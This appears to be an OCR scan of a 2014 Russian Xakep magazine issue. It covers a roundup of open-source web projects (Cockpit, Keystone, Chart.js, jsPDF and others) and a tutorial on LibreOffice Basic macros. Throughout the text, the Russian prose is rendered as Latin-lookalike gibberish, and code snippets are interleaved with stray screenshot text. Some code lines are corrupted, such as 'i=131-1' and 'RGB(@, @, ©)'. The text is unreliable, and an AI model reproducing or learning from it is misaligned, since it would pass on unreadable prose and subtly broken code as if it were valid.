4YTO 3TO ofHa U3 HemMHormx CMS, BHYTpPW KOTOpOW
MeranonynsipHeln  cpeau  PHP-pa3paboTumkoB
Laravel. OTanymTensHom ¢puyelt SBNSETCS BO3MOX-
HOCTb YCTaHOBKM NarMHOB NpsiMo ¢ obuLmnanbHOro
cavita. lNpwn co3paHnm npoekTa emy NpucBavBaeTcs
52-3HayHbIN K04, NOCNE Yero 3TOT KIIOYMK yka-
3bIBAETCA B CMCTEME W BCe A00aBNEHHbIE NiarvHbl
CUHXPOHU3MPYIOTCA M aBTOMAaTOM YCTaHaB/IMBAKOT-
cs1. O4eHb «COBpPeEMeHHas» naes.

https://github.com/aheinze/cockpit

Mpoctaa n rmbkas CMS Ha PHP. Cockpit 6ynet oTanyHbIM BbIGOPOM MPU CO34aHUM HEGONBLLIOTO MPOEK-

Ta, BpPoAe BU3NUTKM C NopTdonuno unm 6nora. Cuctema CoOCToUT BCEro U3 Nt mopynei: Regions (610ku),

Collections, Mediamanager (TaHu-Tackaii dpainosas cuctema), Forms u Galleries. BaXHblit MOMEHT, KOTOPbI

He ocTaBuIn 6e3 BHUMaHUs pa3paboTymkn, — 3T0 NOHATHLIN APl ans pa3paboTku Ha CTOPOHE KJIMeHTa.
Jo6asnsem Cockpit.js:

<head>

Cockpit

An API-driven CMS without forcing you
to make compromises in how you implement your site.

<?php cockpit_js_lib() ?>

Your site. Your way. Enjoy making websites again.

</head>

BoT Tak BbIrsaaT 3anpoch!:

090 ) wcodon

<script> € > [ oot

// Nonyvaem ID 6noka = o
Cockpit.request('/regions/get/{region«
name}').success(function(content){

// ObHoBNnAem DOM-pepeBO KOHTEHTOM 6Ji0Ka

il
B

. ®

} ) . 0’02:16 PM
5

5T S

THE PLATFORM THAT GETS BACK TO BASICS.

October isa free, open-source, self-hosted CMS platform
based on the Laravel PHP Framework. It allows
‘developers to have fullself-expression and the freedom to
build web applications however they want.

www.webhook.com

Webhook — 370 He npocTo cucTema ynpasieHus
KOHTEHTOM, 3TO niatdopmMa Ans cOo3[aHus can-
TOB — KayecTBeHHass cmecb CMS u reHepartopa
cTatnyeckux caintos. [lpoekT oxwun 6Gnarogaps
KpayadaHAMHIY 1 yCMewHo 3aBepLuns Kamna-
Huto Ha Kickstarter. Mop kanotom Node.js, Ember,
Firebase, Grunt n «Django-like templating» 6naro-
naps SwigJS. A tenepb 0CTAHOBMMCS Ha MPUHLUMNAX
pa6oTbl Webhook. CHauana B naHenn agMMHncTpa-
Topa Tbl GOPMUPYELLb TUM KOHTEHTa, onpenens-
elwb, 6yaeT nm 31O WabNoH UM caMocTosiTeNbHas
cTpaHuua, n nobasnsellb G10KM, KOTOPLIX LEenoe
MHoxecTBo: WYSIWYG- 1 Markdown-penaktopsl,
n3obpaxeHus, ranepew, ayauodaiinbl, BCe TUMbI
dopMm 1 npouee. A pesynstatoMm OyayT CreHepupo-
BaHHble HTML'kM, C NOHATHbIM LWABGI0HN3aTOPOM,
OoYeHb MPOAYMAHHOW CTPYKTYPOW U POYTUHIOM.
BaxxHO ynoMsiHyTb, Y4TO MPOEKT niaTHbli — 25 gon-
JlapoB, HO eCTb ABYXHEAEe bHbIN NPOGHbIV Nepunoa,

Cockpit.request('/galleries/get/
{galeryname}').success(function(images)
{

// MaccuB un306paxeHuit
s
Cockpit.request('/collections/get/{collectionname}"').success(function(items){
// MaccuB uMeH Koniekuwui
s
</script>

A eLe ecTb NoSHOLEHHbI REST:

GET /cockpit/index.php/rest/api/regions/get/{regionname}?token={yourtoken}
GET /cockpit/index.php/rest/api/galleries/get/{galleryname}?token={yourtoken}
GET /cockpit/index.php/rest/api/collections/get/{collectionname}?token={yourtoken}

MpaBpoa, Ha oPuUUMANBLHOM MOSIHOCTLIO ACMHXPOHHOM CcailTe ecTb rpybOblit 6ar B poyTUHre: nepentun
Nno CCblJIKe, OTKPbIB €€ B HOBOW BKNnagke, HeT BO3MOXHOCTW. XoTta ecnu cKonmnpoBaTtb CCbUIKY U nepeﬁm
no Hew, To Bce OyneT paboTaTb NPaBUIIbHO.

K -

Nodejs CMS and web application platform built on Express
and MongoDB.

IS

https://github.com/JedWatson/keystone

CMS n Web App Framework, HanncaHnHas Ha Node.
js ¢ ucnonb3zosaHnem Express n Mongoose. Cucre-
Ma co34aBasiach Kak MHCTPYMEHT AJ19 MOCTPOEHMs
CNOXHbIX BE6-MPOEKTOB, NoaTomMy obecneyvBaeT
Ka4eCTBEHHYIO CTPYKTYpYy pOyTWHra, LwabnoHoB
n mogenei. A 3a cyeT 3TOro GyHKUMOHMPYET aB-
TOMaTU4ECKN reHepmpyemMblii nHTepdenc agMmnHn-
ctpaTtopa. Keystone — aT0 OelcTBUTENBHO Kpae-
YrONbHbIA KAMEHb.

et New. Gamges G Prct

next) {
var title, message;
if (err instanceof Error) {

var keystone = require('keystone'),
middleware = require('./middleware'),
importRoutes = keystone.«

res,

importer(__dirname); message = err.message;
npm install -g grunt-cli wh // Middleware err = err.stack;
wh create sitename keystone.pre('routes', middleware.« }
wh serve initErrorHandlers); res.err(err, title, message);
keystone.pre('routes', middleware.«— s
initLocals); // 3arpyska mapupyToB
(] keystone.pre('render', middleware.« var routes = {
Webhook is the easiest way to build custom, editable websites. flashMessages) ; views: importRoutes('./views")
F T —— // ObpaboTka ownbok 404 ¥

‘smply load up the ocal dev
‘environment and start buiding CMS.
foms inthe browser Ik ths.

keystone.set('404', function(req,«
res, next) { // TpueAsKa mapwpyToB
res.notfound(); exports = module.exports =
s function(app) {
// 06paboTka Apyrux ownbok app.get('/',
keystone.set('500', function(err,

routes.views.index);

req, < }

VLK RRRRRSSS
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https://github.com/breach/breach_core

OTHOCUTENBHO HEeAABHO Ha CBET nosBuicsa 6paysep Breach, nofHOCTbIO HaNu-
caHHbln Ha ceadke HTML, CSS un JavaScript. Mopo6Haa apxutektypa npuoaet
HeobblYaliHylo rMOKOCTb MPOEKTY U B BYKBaIbHOM CMbIC/IE MEHSIET CIIOXMBLLE-
ecs npencTasneHne o 6paysepax. O6nagas 6a30BbIMN HABbIKAMW BEPCTKU, Thbl
MOXeLb HaCTPOUTb NOA cebs 4TO YroAHO U Kak yrofHo. Bce komnoHeHTsl Breach
ABNSIOTCA CAMOCTOSITENbHBIMU MPUIOXEHNSIMU 1 B3aUMOAENCTBYIOT APYr C APY-
roM ¢ nomoulbto crneupansHoro APl, ocHoBaHHOro Ha Chromium Content API
n Simple View Model.

® Breach

Blog Hack () Sithub

A browser for the HTMLS era

Entirely written in Javascript. Free. Modular. Hackable.

https://github.com/inboxapp/inbox

«Email-nnardopma HOBOro nokoneHus», INbox No ceoen cyTn SBASETCS LWMPO-
KUM HabopOM MHCTPYMEHTOB OJ19 pa3paboTkuv NPUIOXEHWUIA U CEPBUCOB, OC-
HOBaHHbIX HAa B3aMMOAENCTBUM C 3NEKTPOHHOM NOYTON. HanncaHo aTo BCe Ha
Python un BkntoyaeT B cebsa npoaymaHHbii RESTful API, koTopblii BO3BpaLlaeT
naxHble B popmarte JSON u Unicode-o6bekTbl.

GitHub  mreeston -

Explore Features Enterprise Blog

inboxapp / inbox

email platiorm htip:

© code
2271 con 8 branc 1 2
D Issu

 branch: master - | inbox / + =

1 Pull Roquosts 1

Merge pul request #74 fom pavelbinarimastar =
B e

migrations,

tosts

B arcconfig 8 Clono in Dosktop.

B gtatibutes % Download 1P

https://github.com/nnnick/Chart.js

MoTpsicaowme aganTuBHbie U UHTEPaKTUBHble HTML5-4apTbl, peannsdyembie
C NMOMOLLIbIO 3/1IeMeHTa <canvas>. LLlecTb cnoco60B BU3yannsaumm AaHHbIX C Ka-
4eCTBEHHO NpopaboTaHHLIMU aHUMaLMSMU. Bce Tunbl rpadukoB ABNSIOTCS M-
HMaTIOPHBIMU MOAYNsSiMM, padaMmepoMm Bcero B 11 K6. Xouy Takxe 06patutb TBOE
BHUMaHWe Ha To, 4To y npoekTa 6onee 10 Thicay 3Be3a Ha GitHub.

var myLineChart = new Chart(ctx).Line(data, options);
var data = {

Chart.js

Simple, clean and engaging charts for designers and developers

Download Documentation

labels: ["January", "February", "March", "April",
"May","June", "July"], pointStrokeColor: "#fff",
datasets: [ pointHighlightFill: "#fff",
{ pointHighlightStroke: "rgba(220,220,220,1)",

label: "My First dataset",

data: [65, 59, 80, 81, 56, 55, 40]

fillColor: "rgba(220,220,220,0.2)",

strokeColor: "rgba(220,220,220,1)",

pointColor: "rgba(220,220,220,1)",

https://github.com/addyosmani/basket.js

OpHaxabl cpeau 3anagHblx paspaboTyMKOB BO3HMK Pa3roBOP Ha TeMmy, 4TO
3KoHOMHee — KelmpoBaTb CSS- n JS-daiinsl B 6pay3epe uim coxpaHsaTb UX
B NlokasibHOM xpaHunuie? TecTol Google v Bing nokasanu 6onbluyto adpdekTms-
HOCTb Npu ncnonb3dosaHnm HTML5 localStorage. A yxe nocne a10ro nosiBuncs
3ameyvatenbHblli Basket.js oT mn3BecTHeiwero paspabotunka Saam OcmaHn
(Addy Osmani), cBA3bIBaloLWM BCE NOAKIIIOYAEMbIE CKPUMTLI U CTUAKW, NOA0OHO
Require.js, ¢ nokanbHbIM XpaHunuiLem 6paysepa.

basket

https://github.com/MrRio/jsPDF

jsPDF — otnuyHas JavaScript-6ubnunoTteka ans revepaumm PDF. Moaynb conep-
XWUT OrPOMHOE KOMMYECTBO OMLMIA, KOTOPble NO3BONSIOT HACTPOUTL ByKBaNbHO
BCe, YTO MoAAepXuBaeT AaHHbI dopmaTt: Bce CBOWCTBA WwpudTa, n3obpaxe-
HWS, NPOV3BOJIbHBIE DUrypbl N Aaxe peHaepuHr noboro DOM-y3na. Pabota
nopaepxunsaetcs B 6onblumHcTBe 6payadepos: IE6+*, Firefox 3+, Chrome, Safari
3+, Opera. MpaBaa, ansa IE9 1 HUXe noTpebyeTcs cneumnanbHbiii Flash-xak. Bbl-
rNaguT BCE BMOJSHE XbIOM3H puaatn:

var imgData = 'data:image/jpeg;base64,/9j/4AAQSk...";

.require({ url: 'missing.js' })

var doc = new jsPDF();

.then(function () {

doc.setFontSize(40);

// Success

doc.text(35, 25, "Paranyan loves jsPDF");

}, function (error) {

doc.addImage(imgData, 'JPEG', 15, 40, 180, 160);

// There was an error fetching the script

doc.setTextColor(255, @, 0);

console.log(error);

doc.text(20, 40, 'This is red.');

s

doc.triangle(60, 100, 60, 120, 80, 110, 'FD');

% basket s

A simple (proof-of-concept) script loader that caches scripts
with localStorage
e

Version 05.0: hasket is (22 \B)_hasket min is* (0 7 R ezinned) hasket full min is (18 KR

GitHub  mewosen~ Epiore Feaures Enrprice Biog D

Astar a7 Yrork

MrRio / jsPDF
Generate PDF files in JavaScript. HTMLS FTW. http/fspdf.com/
553 com s i %

I o mesr - | JSPDF [+

11 Pull Roquests &

MSIE camot hanlo Data Ut n th v axample..close £354 . |
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dense.rah.pw

B nHTEPHETE ONMCAHO OrPOMHOE MHOXECTBO BCAKUX METOL0B U XakoB Mo Teme
KOPPEKTHOro OTOBPaxeHWs aaanTUBHbIX M300paxeHunit. 3BaHNa CaMoro XMTporo
1 WenespanbHOro cnocoba ynocronncs maneHbkuii jQuery-nnarmud Dense. Ecnn
caiT nokasblBaeTcs Ha Retina-gucnnee nnu paamep naobpaxeHus 6oblue ero
dakTnyeckoro, To CKpUNT aBToMatn4yeckm nobasnseT apdekT pasmbitus (blur)
KO BCEM KapTuHKam 1 Bce ByaeT BbirnaaeTb, kak OyATo Tak U Hapo. Bee oyeHb
npocTo:

<script src="jquery.min.js"></script>

https://github.com/gka/chroma.js

MHorodyHKLMOHanbHasa 6ubnnoTeka ana padboTsl ¢ LBETOM. [103BONSET NPOn3-
BOAUTb BCEBO3MOXHbIE OMepauun C NanuTpoi: Bcsveckn npeobpasoBbiBaTb,
M3MEHATb LBETOBbIE PEXMMbI, BapbUPOBaTb SPKOCTb, KOHTPACTHOCTb, HaChbl-
LLLEHHOCTb, ONPeAEeNsTb AManasoHbl 1 NpoYee.

// 3aTemHaem u BbiBoaMM B HEX
chroma('#D4F880"').darken().hex(); // #9BC04B

// MacwTtabupyem LBeTa U nokasbiBaeM pe3ynbTaT B RGB
scale = chroma.scale(['white', 'red']);

<script src="dense.min.js"></script>

scale(0.5).css(); rgb(255,127,127);

<script> // TNepeknwyaem LBETOBOI pexum
$('img"').dense(); chroma.scale([ 'white', 'red']).mode('lab');
</script>
Chroma.js
Chvomajs s atiny 548) oral inda of
Usage

Blowsyour visitors"fetinas

) 3 (o)

Initiate and manipulate colors:

chrona(*$0aF8sa" ) . darken()..hex();

Working with color scales is easy, too:

scale = chroma.scale([‘white', ‘red’]);
scale(@.5).hex();

Lab/Lch interpolation looks better than than RGB

chroma. scale(["white’, 'red']).node('lab');

groovebasin.com

MyablkanbHbli cepBep Ha Node.js ¢ npogymMaHHbIM ananTuBHbIM - BeG-
nHTepdericom. Groove Basin ctaHeT ans 165 yaaneHHon nepcoHanbHOM My3bl-
KanbHoin 6nubnuoTekoin. iMeet ymHOoe aBTomMaTnyeckoe BOCnpouns3seneHme Tpe-
KOB Ha OCHOBE MpeanoyvTeHni nonbdosaresns. CTPUMUHT, LWAPUHT C APY3bsSiMU,
nopnepxka MPD-npoTokona, cuHxpoHusaums ¢ Last.fm, MoHUTOpUHr daiino-
BOI CMCTEMbI M MHOTOe Apyroe. BnonHe o3abenbHas WwTyka, 1 B KOAE Nokonarb-
CS UHTEPECHO.

sudo apt-add-repository ppa:andrewrk/libgroove
sudo apt-get update

sudo apt-get install groovebasin

groovebasin

Rudimentary Animation - Joy Electric - My Grandfather, The Cubist

Upload  Chat Clear  Shutte Repeat:off

-
daft punk derezzed (Artist/ Album / Song v Title Artist Album

d
b Remix)

https://github.com/audreyt/ethercalc

BenvkonenHblii MIHCTPYMEHT A1 PeaakTMPOBaHUS 3NEeKTPOHHbIX Tabnuy,. Ha-
nucaH Ha LiveScript/Node.js, nopt npunoxeHus SocialCalc. MoanepxuvsaeT pa-
60Ty ¢ popmatamu CSV nnu Excel XML (.xlIsx). Boobie, npu paboTte ¢ AaHHbIM
CEPBMCOM BO3HMKAET OLLYLLEHUE, YTO OH Aaxe ynobHee u dyHKUMOHaNbHee
aHanornyHoro npoaykta ot Google. CyLecTBytOT nnarvHbl K Socialtext, Drupal.

Bla

Audit

Kl
B1 ALBI (2x1) SUM=0

29 lines (28 sloc) 1.257 kb Raw Blame History (&

https://github.com/filamentgroup/loadCSS

B anoxy nosienexust Bce 60sbLIero 1 6osbLUero YmMcna cnoxHoix RIA-cuctem pas-
paboTumkam BCe Hallle NPUXOAMTCS 3a4yMbiBaTbCs 006 aCMHXPOHHOW 3arpy3ke
OOMNOSIHUTENBHBIX MOAY/e — HanprMep, WabioHOB unu cTunei. Ana aTmx ue-
neii B Filament Group 6b1n1 HanMcaH ManeHbkuin, Ho yao06HbIN [0adCSS.js, koTO-
pbIil yMeeT AMHAMUYHO NOArpY>XaTb CTUAM NPW BbINOSIHEHUWN 3aAaHHbIX YCOBUIA.

function loadCSS( href, before, media ){
use strict’;

<head> UaK 56 = window. docunsnt. cresteElanent( "Link®
<script> loadCSS( "path/to/mystylesheet.css" );
// include 1o0adCSS here... </script>
function loadCSS( href, before, media ){ ... }
// load a file </head>




OCBAMBAEM MPOCTEVLLUWE MPUEMbI
ABTOMATVSALUNN PABOTBI C LIBREOFFICE

LibreOffice — ato cuna. C nOMOLLbIO 3TOrO NakeTa MOXHO AenaTb npak-
TUYECKM BCE: BECTU OyXrantepCckuin y4eT, pucoBaTb BEKTOPHYIO rpaduky,
aaMUHUCTPUPOBATb 6a3bl AaHHbIX, NMcatb HTML-koa, co3naBaTtb BU3UT-
K 1 npoyee, npoyee, npoyee. LibreOffice Basic — 3710 TpoHasa cuna,
Tak Kak OHa Mo3BOJIAET AesaTh TO Xe caMoe B pa3bl ObICTpee U nerye.

Kak nonb3oBaTbCs CTONb OECLEHHbIM TBOPEHUEM, PACCKaXET 3Ta CTATbA.

XAKEP 09 /188/2014

3

v
Wpmna YepHoBa
irairache@gmail.com

WARNING

lNepep 3anyckom nepsoro
makpoca LibreOffice
MoXeT noTpeboBarb ycTa-
HoBuTb JRE (Java Runtime
Environment). Ckayatb
MHCTaNNSTOP MOXHO

3pechb: §0o.gl/kgQid1
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YTO TAKOE LIBREOFFICE
MakeT cBo6oaHOro MO ang paboTbl ¢ AOKYyMeHTaMu. MosBuncs
B 2010 roay, HO yxe ycnen 3aBoeBaTb OeLLeHyo NonyaspHOCTb
BO BCeM Mupe. C ero NoMoLLbio MOXHO CO3aaBaTb U pefakTu-
poBatb dalisibl HYyTb MEHEE COTHWN Pa3nnNyHbIX GOPMaToB, B TOM
yncne pokymeHTbl Microsoft Office (doc, docx, xIs, xlsx). EcTb
Bepcun gns Windows, Linux n OS X.

Ewe LibreOffice MOXHO yCTaHOBUTL Ha CEPBEP M 3anyckaTb
B 6paysepe (g00.gl/fDlivA). ns aTOro cepBep AOMKEH yrnpaB-
naTbes Linux n Ha Hem fosxHa 6bITb ycTaHOBNEHa GubnnoTeka
GTKS3 (oHa HyxxHa ansa TpaHcnsuum rpadunkm B HTMLS).

MporpamMmHbI NakeT BKIOYaeT B cebsa cnenyolme Kom-
MOHEHTBI:

Text — ananor Word;

SpreadSheet — aHanor Excel;

Presentation — ananor PowerPoint;

Drawing — BEKTOPHbIN rpadryecknin peaakTop;

Database — naHenb ynpaBneHuns 6a3amv AaHHbIX, MOXHO

1CNOob30BaTh AJ151 yrpaBieHus nokanbHbIMU 6asamm

(dBase) paHHbIX nnv ans agMUHUCTPUPOBAHNS YAANEHHbIX

(MySQL, Oracle n opyrue);

Bu3yanbHbIi HTML-pepakTop;

penakTop popmyi;

MacTep no CO34aHUI0 BU3UTOK.

A3blKWU, HAKOTOPbIX
MOXXHO HAMUCATb MAKPOC

LibreOffice Basic

[N HaNMcCaHWs MakpOCOB HA 3TOM A3bIKE HE HY>KHO YCTaHaBNMBaTb
Hukakux gononHexuii. Maket LibreOffice Basic noctaBnaetcs ¢ o6wmp-
HO KONINeKUMEn NPMMEepPOB KOAA ANt Pa3HbIX CUTyauuid, 1 3TOT CNoco6
aBTOMaTU3aLM1 OT/IMYHO OKYMEHTUPOBAH Ha caiTe npoekTa. bonblias
4acTb Hallell CTaTby NOCBSLLEHA ATOMY CMOCOObY.

Bean Shell

3T10T cnocob goctancsa B HacneacTso ot OpenOffice (NpoekT Kypu-
poBana komnaHus Oracle). BeanShell — 3T0 CKpMNTOBLIN S3bIK, CO3-
[AHHBIN 419 TECTUPOBaHWA 1 0TNaakn Java-nporpamm. Jns HanucaHns
MaKpOCOB Ha 3TOM $13blk€ HEOOXOAMMO YCTAHOBUTL COOTBETCTBYIOLLEE
pacwumpenue (goo.gl/0OzHo1W).

Python

[nsa Toro 4tob6bl aBTOMaTM3MpPOBaTh PaboTy ¢ LibreOffice Ha Python,
HY>XHO YCTaHOBUTbL COOTBETCTBYIOLLIEE AOMNOJIHEHME:!

sudo apt-get install libreoffice-script-provider-python

Ecnwn Tbl ucnonbayelwsb LibreOffice non Windows, Toraa Hago ycTta-
HOBWUTbL 3TO AonofiHeHue yepeld Tools — Options — LibreOffice —
General. C noMoOLLpbio 3TOro pa3aena nporpaMmbl MOXHO 3arpyxartb no-
cnegHwue o6HOBNEHNS AOMNOJIHUTENbHbIX Mouyneﬁ.

lMocne yCTaHOBKM MOXHO pefakTMpoBaTb
13 BCTPOEHHOrO peaakropa.

Java Script

C JS cutyaums aHanornyHa cutyauum ¢ Python. [na BbinonHeHns
MakpocoB TpebyeTcs ycTtaHoBUTE libreoffice-script=provider-js.

CooTtBeTcTBEHHO, ANt Windows cnoco6 yCTaHOBKM Takxe aHanorun-
YeH npeablayLwemMy nyHKTy.

Python-makpochbl

SRC

CneumanbHo ans Tebst

Mbl cAenanu nog6opky
MCXOIHMKOB MakpoCOB
nna LibreOffice. N nx
B peno3utopusx GitHub

WWWwW

YCTaHOBOYHbIE (aiinbl
LibreOffice:

WWwW

Pycckosi3bluHbIii caiiT
LibreOffice:

K 3TOMY HOMEpY.

.BASH U LIBREOFFICE

CospaBatb U pepakTMpoBatb [okymeHTbl LibreOffice
MOXHO Hanpsimyio 13 shell, ncnonbays LibreOffice API.
B kauecTBe npumepa ckoHBepTupyem ODT-daiin B docx:

libreoffice --headless --convert-to docx«
filetoconvert.odt

A LibreOffice

File | Tools| Help
Macros Re ‘

By | Eeension Maager i

B Customie OrganaeMacios +|  LbreOfice Bsic
optons.. Beanshel

JavaScript.
Python.

\|

Welcome to LibreOffice.
Use the sidebar to open or create a file.

Python Macros OTKpbIBaEM

Macros MeHenXxep
& My Macros
B & LibreOffice Macros
= » Capitalise
< capitalisePython
B & HelloWorld
< HelloworldPython
E & LibreLogo
<& LibreLogo
icons
= < pythonSamples
B ¢ TableSample

MakKkpocos

@ [al] Untitled 1

Knonka Edit Heak-
TusBHa. C Pythonsce

He TaK NpPocTo
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NMPUMEPBI MAKPOCOB

B npuHumne, Ha LibreOffice Basic MOXHO MuTuposaTth ntobbie
[encTBus nonbaosarens. [Ana HarnagHocTy npuBeaem npume-
pbl aBTOMATU3aUMA 4119 pasnmyHbix KoMnoHeHToB LibreOffice.

LibreOffice Macros & Dilogs Gimmicks - UbreOffce Basic

Sar “ . . - INFO

Helloworld ) MoXHo HacTpouTb
Mpumep npocTenwero mMakpoca ajis BbiBOAa COOGLIEHUS e HECKOJbKO CNoco60B
C TEKCTOM: : ' ) - Bbl30Ba Makpoca:
= s st 113 NYHKTa MEHIO;

Sub _Hello % i COYETaHUeM KNnasuLL;
Macro Print "Tbl BeAb HEBOJ/IbHO BCMOMHWUA k > = i N0 cOObITHIO;
Npo CBOKW Yy4uTenbHuUuy uHGopmaTmku?" 0 rMnepcchbike;
End Sub 110 3N1eMEHTY KapTUHKY;

: : - : o Gopme nnn ee YacTu.
Text Mogpo6HocTy:
A BOT MakpoC BCTaB/SET B KOHEL, TEKCTOBOIO JOKYMEHTA CTPO-
Ky, 0ThOPMAaTMPOBAHHYIO ONpeAeNieHHbIM 06pa3oMm:

BcCTpoeHHbI wabnioH Makpoca, NPOU3BOAALLErO
3amMeHy OlHOro CUMBOJ1a Ha A PYroi BO BCeM [,0KY -
MeHTe. Kak-To nof03puTesibHO MHOro GyKB

Sub WriteGreenText()

Dim oDoc As Object, xText As Object,«
xTextRange As Object

'Knagem B nepemMeHHyw TeKyWwwuil JOKYMEHT
oDoc = ThisComponent

'Knagem B nepemeHHyl TeKCT AOKYMeHTa
xText = oDoc.getText() xTextRange =«
xText.getEnd() 'Wwem KoHel TekcTa
'HaunHaem 3ajaBaTb QopmMaTUpoBaHue
xTextRange.CharBackColor = green
TextRange.CharHeight = 16.0
xTextRange.CharPosture = com.sun.star.awt.Font« B - = INFO
Slant.ITALIC 'kypcus

'3anucb TekcTa
XTextRange.setString("3eneHblit kKypcus")
End Sub PepnakTop MakpocoBs

breOffice Macros & Dialogs WikEaitor - LbreOfice Basic

BHAOR~o 5@ E

Kak B MS Office,
B LibreOffice ectb B03-
MOXHOCTb 3aMUCbIBaTH
MakpoChl. ITO MOXHO
caenatb Yepes nyHKT
meHio Record Macro.

SPREADSHEET

OTOT KO, KPACUT NEPBYIO S4EliKy BO BTOPOM JINCTE B KHUIE B YEPHbI LIBET:
INFO
Sub highlightcell
Dim oTextTables As Variant 'MaccuB — BCe JIMCTbl KHUTK
Dim oTextTable As Variant 'lepemeHHas ans nucTta, C KOTOpbM byaem paboTaTb

UNO — KoMnoHeHTHas
Mopenb ANs B3an-

MO/AEIACTBMUA 00b-
exToB B OpenOffice
u LibreOffice. Ons npo-
rPaMMHOr0 ynpaBneHus
3TON MOLENbIO CyLue-
ctytor UNO API. C ero
NOMOLLb0 NPON3BOAMTCS
o6pawenme k LibreOffice
13 CTOPOHHUX CKPUNTOB
(Python, JS u BeanShell).

Dim oCell As Variant ‘lepemeHHaa ansa aqeinku

oTextTables = ThisComponent.getTextTables() 'Knagem B nepeMeHHyw BCE JUCTbl KHUIU
oTextTable = oTextTables.getByIndex(1l) 'Knagem B nepemMeHHYW BTOPOW JNUCT KHUMU
oCell = oTextTable.getCellByPosition(1, 1) 'lMepBas syeiika BTOPOro aucTa

'MOXHO 6bl10 caenatb Tak

oCell = oTextTable.getCellByName("B3")

oCell.setPropertyValue("BackColor", RGB(@, @, ©)) 'Kpacum!

End Sub

ABTOMATWU3ALIUS OPENOFFICE

Ecnu Tbl onpgdar, npuebik kK OpenOffice n He xo4ellb MEHSITb €ro Ha YTO-TO APYroe, 3TO He nuwaeT Te6s BO3MOXHOCTM aBTOMAaTU3MpoBaTb CBOIO
paboTty. MHorve npumepbl 13 ctatbu 6yayT paboTatb B 3TOM nakete. A gokymeHTaumm no astomartmsaumm OpenOffice ropasgo Gosnblue, Yem
no LibreOffice. BoT ccbinka Ha otnmyHbii FAQ, B KOTOPOM €CTb OTBETHI HA BCE BONPOCHI N0 aBTomaTtunaauum OpenOffice: goo.al/ZHwWONA.
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DRAWING

OTOT Makpoc yaanseT Bce NMHWUM ¢ pucyHka. Korga aT1o MoxeT npuroanteca? JonycTtum:
HapucoBanu 30-CTpaHUYHYIO CXEMY, rAe IMHUSMWN COoeauHeHbl Bce 00beKTbl. MoTomM npu-
wen TBoi wed n ckazan: «<Habur nuHnammn? M 6e3 HUX BCE NOHATHO!»

Doc = ThisComponent 'Knagem B nepeMeHHYWw TeKyWWA AOKYMEHT
c = Doc.DrawPage.count 'CynTaem KOAMYeCTBO rpadmyecknx NpUMMTUBOB
i=c
Do While i >=1
'He 3abbiBaem, 4TO y nporepoB nepBaa uudpa — HOMb
drawObject = Doc.DrawPage(i - 1)
if drawobject.ShapeType =«
"com.sun.star.drawing.LineShape" then
'B cny4vae, ecnnm 06beKT — JIMHWUA, yAandem ero
Doc.DrawPage.remove(drawObject)
endif
i=131-1
Loop

AHanorn4yHbIM 06pa3oM MOXHO yaanaTe ntoodble apyrme durypsl. C nomouwpto LibreOffice
Basic MOXHO prcoBaTb HOBble rpaduyeckne 0ObeKTbl UM MEHATb UMEIOLLMECS.

DATABASE

C nomMoLLbi0 MakpOCOB MOXHO BbIMOSHATL 3anpochkl kK 6a3am AaHHbIX (NpeaBapuTensHO Heob-

XOOMMO YCTaHOBUTL CoeanHeHne ¢ database-cepsepom):

'CTupaem BCe CTPOYKM M3 Tabauubl C KOHTAKTamu
oForm.Activeconnection.CreateStatement.execute("DELETE * from contacts")

PRESENTATION

Makpoc a5 co3aaHusi HOBOrO Cnainaa B npeseHTaumn:

'Co34aeM YUCTbIA C/lailg B Tekylwem AOKYMeHTe

Sub CreateSomeSlide

oDoc = ThisComponent

oDrawPages = oDoc.getDrawPages()

oDrawPage = oDrawPages.insertNewByIndex(oDrawPages.getCount())
'Co34aeM HOBOe TeKCTOBOe none

oTextShape = oDoc.createInstance("com.sun.star.drawing.TextShape")
'3agaem ¢opMy nonw anA TekcTa

aPoint = CreateUnoStruct("com.sun.star.awt.Point")
aSize = CreateUnoStruct("com.sun.star.awt.Size")
'3ajaeMm Noaw KOOpAUHATh

aPoint.X = 1000

aPoint.Y = 1000

'3ajaeM WWPUHY W BbICOTY

aSize.Width = 15000

aSize.Height = 5000

'MpuMeHAEM BbllleHa3BaHHble MapameTpbl
oTextShape.setPosition(aPoint)
oTextShape.setSize(aSize)

'BCTaBnsfieM TeKCTOBOe MoJjie Ha cJaiif
oDrawPage.add(oTextShape)

'Muwem TekcT

oTextShape.setString("A BoT u Haw TekcT")

End Sub

PANDOC

Ytunuta ona o6paboTku TEKCTO-
Bbix dannoB. OHa MOXET KOH-
Beptuposate Markdown, LaTeX
n HTML B uenbii kanengockon
pasnmyHbix dopmaTtoB. BoT He-
KOTOPbIE U3 HUX:

PDF,

MediaWiki;

DocBook;

EPUB;

Docx;

ODT;

HTML-cnangpl npeseHTaumi.

WwWw

Cnucok GitHub-
Peno3nTopues, conepxa-
LMX KOHTEHT ANs aBTOMa-

Tu3auuu LibreOffice:

3AKNIOYEHME

LibreOffice Basic cuHTakcuuyecku naeHtuyeH VBA
M BCEM OCTaJlbHbIM Pa3HOBUAHOCTAM Oelicuka,
C KOTOPbIMY MHOFMM U3 HAC NMPULLNIOCH CTONKHYTb-
CH B LUKOSE U WMHCTUTYTE. HO He Hapgo CcTaBwTb
LOB Ha oavH ypoBeHb ¢ ero 6patom ot Microsoft.
Bo-nepsblx, pesaktop makpocoB B LB ropasgo
OPY>XECTBEHHEE N TeprnvMee K npomMaxam nosib30-
BaTens. B yacTHOCTM, B cnyyae owmbKN He HaZo ry-
rMnTb ee koA, No Gopymam B CTUNE «MHbOpMaTnKa
ANS WKOJIbHUKA», Yalle BCEero noHATb, YTO He Tak,
MOXHO, He BbIXOAS M3 OKHa C KOAOM. Bo-BTOpBbIX,
BbINOJIHEHNE MaKpPOCa HUKOrAa He napanuayeT pa-
60Ty KOMMblOTEPA (Kak 3TO MHOrAa MOXET caenaTtb
6eckoHeyHbI umkn B VBA). A B-TpeTbux, 6narogaps
Bo3MoxHocTssM UNO APl aBToMaTn3npoBaTtb MOXHO
NoYTW BCE YTO YroaHO. 3T

WWW

Caitt o Libreoffice API.
COOpHNK LOKYMEHTALMM
115l pa3paboTynKoB:
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WARNING

MbI He MOXEM rapaHTUpo-
BaTb TOTO, YTO BNAfENbLbl
CEepBUCOB NSl KOMMIEKC-
HOIA NarHOCTMKM CanToB
CNESSIT 32 PerynsipHLIMmU
06HOBNEHMSIMM COfiepXa-
HWS CTAHAAPTOB, W PEKO-
MEHZYeM UCMo/b30BaTh
cepsuckl oT W3C.

CtouTt Tonbko BOUTL B Google kakon-HMbyap BOMNPOC O CO3AaHUM CalnTOB, KakK Thbl TYT Xe NoNy4YuLlb
